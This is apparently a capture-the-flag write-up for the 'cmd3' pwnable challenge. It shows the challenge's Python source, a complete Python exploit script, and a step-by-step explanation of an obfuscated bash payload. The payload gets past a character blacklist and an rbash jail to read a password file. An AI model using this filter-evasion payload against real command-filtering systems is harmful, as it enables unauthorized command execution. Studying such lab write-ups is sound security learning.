Pwnable Challenge: Cmd3

Heres my solution to cmd3. Its kind of a silly challenge that won’t teach you anything that will apply to other challenges or real world vulnerabilities. But it was still a lot of fun and since not many have solved it yet I figured I’d write something up for it. Heres the “exploit code”:

#sploitz dude
import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 9023))

f = s.makefile()

line = f.readline()
while "your password" not in line:
	line = f.readline()

flagfile = line.split("flagbox/")[1].strip()
print "Flag File: %s" % flagfile

cmdfile = open("/tmp/___", "w+")
cmdfile.write("cat /home/cmd3_pwn/flagbox/"+flagfile)
cmdfile.close()

#where the magic happens
#this string uses some bullshit tricks to fill variables with spaces and "cat" and whatnot
sploitstr = '__=$((($$/$$)));___=({.,.});____=${___[@]};_____=${____:__:__};___=$(((__+__)));' \
	  + '____=$(((___+__)));______=$(((____+___)));????/???;$(${_:______:____}${_____}/???/___)' + "\n"

s.send(sploitstr)
f.readline()

password = f.read(32)
print "Password: %s" % password
s.send(password+"\n")

#read the output and get dat flag son
print "Flag: %s" % f.readline().split("cmd3$ Congratz! here is flag : ")[1].strip()

Alright so nearly all of the important part is the line under #where the magic happens. The first few lines just set up the socket for communicating with the target process listening at port 9023. It prints out information about what is in the directory and most importantly gives the file the password is in. And then there is a prompt for entering bash commands:

total 2824
drwxr-x---  5 root cmd3_pwn    4096 Mar 15 04:00 .
dr-xr-xr-x 66 root root        4096 Jul 13 06:44 ..
d---------  2 root root        4096 Jan 22  2016 .bash_history
-rwxr-x---  1 root cmd3_pwn    1421 Mar 11 00:54 cmd3.py
drwx-wx---  2 root cmd3_pwn    4096 Jul 24 21:21 flagbox
drwxr-x---  2 root cmd3_pwn    4096 Jan 22  2016 jail
-rw-r--r--  1 root root     2855746 Jul 25 16:08 log
-rw-r-----  1 root root         764 Mar 10 11:16 super.pl
total 8
drwxr-x--- 2 root cmd3_pwn 4096 Jan 22  2016 .
drwxr-x--- 5 root cmd3_pwn 4096 Mar 15 04:00 ..
lrwxrwxrwx 1 root root        8 Jan 22  2016 cat -> /bin/cat
lrwxrwxrwx 1 root root       11 Jan 22  2016 id -> /usr/bin/id
lrwxrwxrwx 1 root root        7 Jan 22  2016 ls -> /bin/ls
your password is in flagbox/HOF4PPJ4OWKESZL63633ZF3ZSW0XUM4L
cmd3$

Alright so “cat flagbox/HOF4PPJ4OWKESZL63633ZF3ZSW0XUM4L” and done! Unfortunately no. This prompt is extremely limited. Lets look at the code of cmd3:

#!/usr/bin/python
import base64, random, math
import os, sys, time, string
from threading import Timer

def rstring(N):
	return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))

password = rstring(32)
filename = rstring(32)

TIME = 60
class MyTimer():
	global filename
        timer=None
        def __init__(self):
                self.timer = Timer(TIME, self.dispatch, args=[])
                self.timer.start()
        def dispatch(self):
                print 'time expired! bye!'
		sys.stdout.flush()
		os.system('rm flagbox/'+filename)
                os._exit(0)

def filter(cmd):
	blacklist = '` !&|"\'*'
	for c in cmd:
		if ord(c)>0x7f or ord(c)<0x20: return False
		if c.isalnum(): return False
		if c in blacklist: return False
	return True

if __name__ == '__main__':
	MyTimer()
	print 'your password is in flagbox/{0}'.format(filename)
	os.system("ls -al")
	os.system("ls -al jail")
	open('flagbox/'+filename, 'w').write(password)
	try:
		while True:
			sys.stdout.write('cmd3$ ')
			sys.stdout.flush()
			cmd = raw_input()
			if cmd==password:
				os.system('./flagbox/print_flag')
				raise 1
			if filter(cmd) is False:
				print 'caught by filter!'
				sys.stdout.flush()
				raise 1

			os.system('echo "{0}" | base64 -d - | env -i PATH=jail /bin/rbash'.format(cmd.encode('base64')))
			sys.stdout.flush()
	except:
		os.system('rm flagbox/'+filename)
		os._exit(0)
	

The most important parts of this are the lines showing that the cmd is filtered and then passed to rbash. Rbash is a shell which (among other things) restricts execution of programs to those that are in the passed PATH, in this case “jail”. Also to my frustration the source operator “.” is similarly restricted. Additionally the filter method ensures that the only allowed characters are printable, nonalphanumeric, and not within the blacklist. This is a very limited set of characters as notably even spaces are not allowed. So the objective becomes how to craft a cmd out of allowed characters that will allow us to read the flagbox file. It is tough. My first idea, briefly alluded to above, was to use the source operator “.” to print out the file like “.${var containing space}./???????/????????????????????????????????”. This would ideally give an output like “{password}: command not found”. Unfortunately there are a couple issues with this that i didn’t figure out till later. First as stated before the source operator does not accept any string with “/” in it as an argument so you cannot escape the jail directory. Secondly the flabox directory is not readable so the file (“flagbox/{32 character string}”) cannot be referenced using the “?” wildcards. But I didn’t know either of those things so I set about trying to form this string. Really it wasn’t a waste of time because I needed to construct a variable with space in it anyway. Thats what the first part of my magic string “__=$((($$/$$)));___=({.,.});____=${___[@]};_____=${____:__:__}” is creating. This string heavily uses some weird bash stuff that is well covered on this site . So lets break this part down.

__=$((($$/$$))) -> Puts the value 1 in $__. As covered on the aforementioned site (((…))) allows you to do arithmetic in bash so $$/$$ evaluates to 1.

___=({.,.}) -> This is a bit confusing pretty much it just makes a variable $___ with an array containing 2 periods.

____=${___[@]} -> This takes that array and makes it into the string “. .”. Theres a space!

_____=${____:__:__} -> So now we put the string of length 1 at offset 1 of the previous constructed string into $_____. That character is the space!

Alright so we have a variable with a space now. It was at this point where I discovered that my previous strategy was not going to work. So I had to change tact. The next part just puts the numbers 2, 3, and 5 into variables. That code is : “___=$(((__+__)));____=$(((___+__)));______=$(((____+___)))” . Finally…

????/???;$(${_:______:____}${_____}/???/___) -> the first part uses wildcards to put “jail/cat” into $_. Then using the variables created above, the string “cat” is isolated and then the space variable is used followed by the wildcard expression that becomes /tmp/___. This is all wrapped in $(…) so this translates to “$(cat /tmp/___)” which will execute the command written in /tmp/___.

The exploit code writes “cat {flagfile}” into ___ so the command prints the password. Then the password is sent and the flag is printed. This challenge took some lateral thinking and several hours, not to mention lots of ideas that didn’t end up working. But I did learn a lot about bash minutiae that I will almost definitely never use again, so it was all worth it. If you have a better/shorter solution post it in the comments. Unless its too short and makes me look bad in which case keep it to yourself.